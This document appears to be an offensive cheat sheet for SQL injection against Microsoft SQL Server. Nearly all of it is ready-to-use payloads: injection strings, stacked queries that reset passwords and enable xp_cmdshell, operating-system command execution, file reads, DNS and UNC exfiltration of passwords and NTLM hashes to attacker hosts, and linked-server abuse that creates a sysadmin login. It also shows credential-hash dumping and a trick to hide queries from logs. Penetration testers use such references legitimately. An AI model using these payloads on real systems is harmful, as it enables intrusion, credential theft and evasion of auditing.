MSSQL Injection

MSSQL Injection is a type of security vulnerability that can occur when an attacker can insert or "inject" malicious SQL code into a query executed by a Microsoft SQL Server (MSSQL) database. This typically happens when user inputs are directly included in SQL queries without proper sanitization or parameterization. SQL Injection can lead to serious consequences such as unauthorized data access, data manipulation, and even gaining control over the database server.

Summary

MSSQL Default Databases
MSSQL Comments
MSSQL Enumeration
MSSQL Union Based
MSSQL Error Based
MSSQL Blind Based
- MSSQL Blind With Substring Equivalent
MSSQL Time Based
MSSQL Stacked Query
MSSQL File Manipulation
- MSSQL Read File
- MSSQL Write File
MSSQL Command Execution
- XP_CMDSHELL
- Python Script
MSSQL Out of Band
- MSSQL DNS Exfiltration
- MSSQL UNC Path
MSSQL Trusted Links
MSSQL Privileges
- MSSQL List Permissions
- MSSQL Make User DBA
MSSQL Database Credentials
MSSQL OPSEC
References

MSSQL Default Databases

Name	Description
pubs	Not available on MSSQL 2005
model	Available in all versions
msdb	Available in all versions
tempdb	Available in all versions
northwind	Available in all versions
information_schema	Available from MSSQL 2000 and higher

MSSQL Comments

Type	Description
`/* MSSQL Comment */`	C-style comment
`--`	SQL comment
`;%00`	Null byte

MSSQL Enumeration

Description	SQL Query
DBMS version	`SELECT @@version`
Database name	`SELECT DB_NAME()`
Database schema	`SELECT SCHEMA_NAME()`
Hostname	`SELECT HOST_NAME()`
Hostname	`SELECT @@hostname`
Hostname	`SELECT @@SERVERNAME`
Hostname	`SELECT SERVERPROPERTY('productversion')`
Hostname	`SELECT SERVERPROPERTY('productlevel')`
Hostname	`SELECT SERVERPROPERTY('edition')`
User	`SELECT CURRENT_USER`
User	`SELECT user_name();`
User	`SELECT system_user;`
User	`SELECT user;`

MSSQL List Databases

SELECT name FROM master..sysdatabases;
SELECT name FROM master.sys.databases;

-- for N = 0, 1, 2, …
SELECT DB_NAME(N); 

-- Change delimiter value such as ', ' to anything else you want => master, tempdb, model, msdb 
-- (Only works in MSSQL 2017+)
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases;

MSSQL List Tables

-- use xtype = 'V' for views
SELECT name FROM master..sysobjects WHERE xtype = 'U';
SELECT name FROM <DBNAME>..sysobjects WHERE xtype='U'
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';

-- list column names and types for master..sometable
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';

SELECT table_catalog, table_name FROM information_schema.columns
SELECT table_name FROM information_schema.tables WHERE table_catalog='<DBNAME>'

-- Change delimiter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options  (Only works in MSSQL 2017+)
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U';

MSSQL List Columns

-- for the current DB only
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable');

-- list column names and types for master..sometable
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; 

SELECT table_catalog, column_name FROM information_schema.columns

SELECT COL_NAME(OBJECT_ID('<DBNAME>.<TABLE_NAME>'), <INDEX>)

MSSQL Union Based

Extract databases names

$ SELECT name FROM master..sysdatabases
[*] Injection
[*] msdb
[*] tempdb

Extract tables from Injection database

$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
[*] Profiles
[*] Roles
[*] Users

Extract columns for the table Users

$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
[*] UserId
[*] UserName

Finally extract the data
```
$ SELECT  UserId, UserName from Users
```

MSSQL Error Based

Name	Payload
CONVERT	`AND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~')) -- -`
IN	`AND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- -`
EQUAL	`AND 1337=CONCAT('~',(SELECT @@version),'~') -- -`
CAST	`CAST((SELECT @@version) AS INT)`

For integer inputs

convert(int,@@version)
cast((SELECT @@version) as int)

For string inputs

' + convert(int,@@version) + '
' + cast((SELECT @@version) as int) + '

AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -

SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'

Function	Example
`SUBSTRING`	`SUBSTRING('foobar', <START>, <LENGTH>)`

Examples:

AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- 
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

MSSQL Time Based

In a time-based blind SQL injection attack, an attacker injects a payload that uses WAITFOR DELAY to make the database pause for a certain period. The attacker then observes the response time to infer whether the injected payload executed successfully or not.

ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--

IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

MSSQL Stacked Query

Stacked query without any statement terminator

-- multiple SELECT statements
SELECT 'A'SELECT 'B'SELECT 'C'

-- updating password with a stacked query
SELECT id, username, password FROM users WHERE username = 'admin'exec('update[users]set[password]=''a''')--

-- using the stacked query to enable xp_cmdshell
-- you won't have the output of the query, redirect it to a file 
SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

Use a semi-colon ";" to add another query
```
ProductID=1; DROP members--
```

MSSQL File Manipulation

MSSQL Read File

Permissions: The BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.

OPENROWSET(BULK 'C:\path\to\file', SINGLE_CLOB)

Example:

-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null

MSSQL Write File

execute spWriteStringToFile 'contents', 'C:\path\to\', 'file'

MSSQL Command Execution

XP_CMDSHELL

EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';

If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

Python Script

Executed by a different user than the one using xp_cmdshell to execute commands

EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'

MSSQL Out of Band

MSSQL DNS exfiltration

Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1

Permission: Requires VIEW SERVER STATE permission on the server.

1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))

Permission: Requires the CONTROL SERVER permission.

1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))

MSSQL UNC Path

MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the xp_dirtree function to list the files in our SMB share and grab the NTLMv2 hash.

1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--

xp_dirtree '\\attackerip\file'
xp_fileexist '\\attackerip\file'
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'

MSSQL Trusted Links

The links between databases work even across forest trusts.

msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] # Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session

Manual exploitation

-- find link
select * from master..sysservers

-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');

-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')

-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')

-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

MSSQL Privileges

MSSQL List Permissions

Listing effective permissions of current user on the server.
```
SELECT * FROM fn_my_permissions(NULL, 'SERVER'); 
```
Listing effective permissions of current user on the database.
```
SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
```

Listing effective permissions of current user on a view.

SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name;

Check if current user is a member of the specified server role.

-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin
SELECT is_srvrolemember('sysadmin');

MSSQL Make User DBA

EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;

MSSQL Database Credentials

MSSQL 2000: Hashcat mode 131: 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578

SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins 
-- Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer

MSSQL 2005: Hashcat mode 132: 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe

SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins

MSSQL OPSEC

Use SP_PASSWORD in a query to hide from the logs like : ' AND 1=1--sp_password

-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.